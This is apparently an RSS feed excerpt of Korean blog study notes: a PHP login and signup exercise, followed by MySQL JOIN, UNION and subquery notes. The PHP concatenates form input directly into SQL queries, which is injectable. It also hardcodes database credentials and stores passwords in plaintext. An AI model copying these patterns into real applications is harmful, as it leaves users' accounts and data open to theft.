  &lt;font size=3 color=blue&gt; ID와 PW를 입력해주세요 &lt;/font&gt;&lt;br&gt;&lt;br&gt;
  &lt;table border=&quot;1&quot;&gt;
  &lt;form action=proc/login_proc.php method=POST&gt;
  &lt;tr&gt;
  &lt;th colspan=&quot;3&quot;&gt; LOGIN &lt;/th&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
  &lt;td&gt; ID &lt;/td&gt;
  &lt;td&gt; &lt;input type=text name=id&gt;&lt;/td&gt;
  &lt;td rowspan=&quot;2&quot;&gt; &lt;input type=submit value=로그인 style=&#39;height:50&#39;&gt; &lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
  &lt;td&gt; PW &lt;/td&gt;
  &lt;td&gt; &lt;input type=password name=pw&gt; &lt;/td&gt;
  &lt;/tr&gt;
  &lt;/form&gt;
  &lt;/table&gt;
  &lt;/body&gt;
  &lt;/html&gt;

  vi login_proc.php
  &lt;?php
  $id=$_POST[&#39;id&#39;];
  $pw=$_POST[&#39;pw&#39;];
  $hidden=$_POST[&#39;hidden&#39;];
  #echo &quot;$id&lt;br&gt;&quot;;
  #echo &quot;$pw&lt;br&gt;&quot;;
  #echo &quot;$hidden&lt;br&gt;&quot;;
  session_start();
  mysql_connect(&quot;[db.sevas10.com](http://db.sevas10.com/)&quot;,&quot;master&quot;,&quot;asd123&quot;) or die (&quot;NET 연결오류&quot;);
  echo &quot;connect success&lt;br&gt;&quot;;
  mysql_select_DB(sevas) or die (&quot;DB 연결실패&quot;);
  echo &quot;Connect DB&lt;br&gt;&quot;;
  $sql=&quot;select id,pw from class where id=&#39;$id&#39; and pw=&#39;$pw&#39;&quot;;
  $exec=mysql_query($sql);
  $result=mysql_fetch_array($exec) or die (&quot;Login Fail&lt;br&gt;
  &lt;form method=POST action=/login.html&gt;
  &lt;input type=submit value=&#39;다시로그인&#39;&gt;
  &lt;/form&gt;&quot;
  );
  echo &quot;Login Success&lt;br&gt;&quot;;

  print_r($result);
  echo &quot;&lt;br&gt;&quot;;
  echo $result[&quot;0&quot;];
  echo &quot;&lt;br&gt;&quot;;
  echo $result[&quot;id&quot;];
  echo &quot;&lt;br&gt;&quot;;
  echo $result[&quot;1&quot;];
  echo &quot;&lt;br&gt;&quot;;
  echo $result[&quot;pw&quot;];
  echo &quot;&lt;br&gt;&quot;;

  $_SESSION[&#39;LoginID&#39;] = $id;
  #echo $_SESSION[&#39;LoginID&#39;];
  header (&quot;location:/index.php&quot;);
  ?&gt;

  ===================================================================================

  vi join.html

  &lt;html&gt;
  &lt;head&gt;
  &lt;title&gt; 회원가입 &lt;/title&gt;
  &lt;/head&gt;
  &lt;body&gt;
  &lt;font size=3 color=blue&gt; &lt;b&gt;회원가입신청서&lt;/b&gt;&lt;/font&gt;
  &lt;br&gt;&lt;br&gt;

  &lt;form method=POST action=proc/join_proc.php&gt;

  &lt;table border=&quot;1&quot;&gt;
  &lt;tr&gt;  &lt;td&gt; 아이디 &lt;/td&gt;  &lt;td&gt; &lt;input type=text name=id&gt; &lt;/td&gt;
  &lt;tr&gt;  &lt;td&gt; 비밀번호 &lt;/td&gt;  &lt;td&gt; &lt;input type=password name=pw&gt; &lt;/td&gt;
  &lt;tr&gt;  &lt;td&gt; NICKNAME &lt;/td&gt;  &lt;td&gt; &lt;input type=text name=nick&gt;  &lt;/td&gt;
  &lt;tr&gt;  &lt;td&gt; &lt;/td&gt; &lt;td&gt; &lt;input type=submit value=&quot;회원가입완료&quot;&gt;
  &lt;input type=reset value=&quot;입력   취소&quot;&gt; &lt;/td&gt;
  &lt;/table&gt;
  &lt;/body&gt;
  &lt;/html&gt;

  =======================================================================================

  회원가입프로세스 ( proc/join_proc.php)

  &lt;?php

  $id = $_POST[&#39;id&#39;];
  $pw = $_POST[&#39;pw&#39;];
  $nick = $_POST[&#39;nick&#39;];

  mysql_connect (&quot;[db.sevas10.com](http://db.sevas10.com/)&quot;,&quot;master&quot;,&quot;asd123&quot;) or die (&quot;mysql Fail&quot;);
  echo &quot;Connect Mysql&lt;br&gt;&quot;;
  mysql_select_db(sevas) or die (&quot;DB Fail&quot;);
  echo &quot;Connect DB&lt;br&gt;&quot;;

  $sql = &quot;insert into class values (null,&#39;$id&#39;,&#39;$pw&#39;,&#39;$nick&#39;,now() )&quot;;
  $exec = mysql_query($sql) or die (&quot;회원가입실패&lt;br&gt;
  &lt;form method=POST action=/join.html&gt;
  &lt;input type=submit value=&#39;회원가입페이지로&#39;&gt;
  &lt;/form&gt;&quot;
  );
  echo &quot;회원가입성공&quot;;
  echo &quot;&lt;form method=POST action=/index.php&gt;&quot;;
  echo &quot;&lt;input type=submit value=&#39;메인화면&#39;&gt;&quot;;
  echo &quot;&lt;/form&gt;&quot;;
  ?&gt;</code></pre></li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[DB] Mysql - Join, Union]]></title>
            <link>https://velog.io/@dpwls_w/DB-Mysql-Join-Union</link>
            <guid>https://velog.io/@dpwls_w/DB-Mysql-Join-Union</guid>
            <pubDate>Tue, 04 Jun 2024 01:29:53 GMT</pubDate>
            <description><![CDATA[<h2 id="join-두개의-테이블-합치기--→-컬럼을-확장할때-쓰임"><strong>join</strong> (두개의 테이블 합치기 ) → 컬럼을 확장할때 쓰임</h2>
<ul>
<li><p>inner join  교집합  <code>select * from [A]  inner join [B] on &lt;조건&gt;</code></p>
</li>
<li><p>left outer join  왼쪽 집합 <code>select * from [A]  left join [B] on &lt;조건&gt;</code></p>
</li>
<li><p>right outerjoin 오른쪽 집합 <code>select * from [A]  right join [B] on &lt;조건&gt;</code></p>
</li>
<li><p>Full outer join <code>select * from [Atb] left join [Btb] on &lt;조건구문&gt;</code></p>
</li>
<li><p>조인은 본인의 tb 값만을 출력하지만 union은 자신의 tb에 외부 tb 값을 추가할 수 있음(중복 처리)</p>
</li>
<li><p>mysql 은 full join 지원 x</p>
</li>
<li><p>left join, rigth join → 중복 값 처리: union</p>
<h2 id="union--중복처리-필드-칼럼에-외부-table-값을-넣음-select-2번"><strong>UNION</strong> ( 중복처리, 필드 칼럼에 외부 table 값을 넣음 select 2번)</h2>
</li>
<li><p>칼럼 추가가 아닌 공유, 이주 시킴</p>
</li>
<li><p>union</p>
<pre><code>      - `select * from [A]  union select [추가 내용]`</code></pre></li>
</ul>
<pre><code class="language-sql">   select * from market union select 1,1,1,1; (O)
   select * from market union select 1,1,1; (X) 칼럼수가 일치</code></pre>
<ul>
<li><code>select * from [A]  union select [추가 내용] from [B]</code></li>
</ul>
<pre><code class="language-sql">   select m_category,m_name,m_seller from market left join sword on m_name=s_name
   union
   select m_category,m_name,m_seller from market right join sword on m_name=s_name;</code></pre>
<ul>
<li><p>select m_name from market union select s_name from sword;</p>
<pre><code>     +-----------------+
      | m_name          |
      +-----------------+
      | 촉마지팡이        |
      | 곤륜검           |
      | 곤륜기공패        |
      | 풍뢰검           |
      | 염화검           |
      | 요마검           |
      +-----------------+</code></pre></li>
</ul>
<hr>
<h2 id="서브-쿼리-→-조건을-찾기-위해-where-절에서">서브 쿼리 → 조건을 찾기 위해 where 절에서..</h2>
<ul>
<li><p>단일행 서브 쿼리   → 실행 결과가 1건
  <code>select * from sword where s_name = (select m_name from market where m_seller=&#39;evernick&#39;);</code></p>
<ul>
<li>다중행 서브 쿼리   → 실행 결과가 여러 건인 서브 쿼리   ( &#39;in&#39; 칼럼 1개만 비교 )
<code>select * from sword where s_name in (select m_name from market where m_category=&#39;검&#39;);</code></li>
<li>다중열 서브 쿼리  → &#39;in&#39; 칼럼 2개 이상 비교 
<code>select * from sword where (s_name,s_level) in (select m_name, 50 from market where m_category=&#39;검&#39;);</code>
  → 50이라는 level이 market에 없기에 비교를 위해 컬럼을 임의로 만들어냄</li>
</ul>
</li>
<li><p>뷰 테이블 만들기 <code>create view [view명] as [sql문]</code></p>
</li>
</ul>
]]></description>
        </item>
    </channel>
</rss>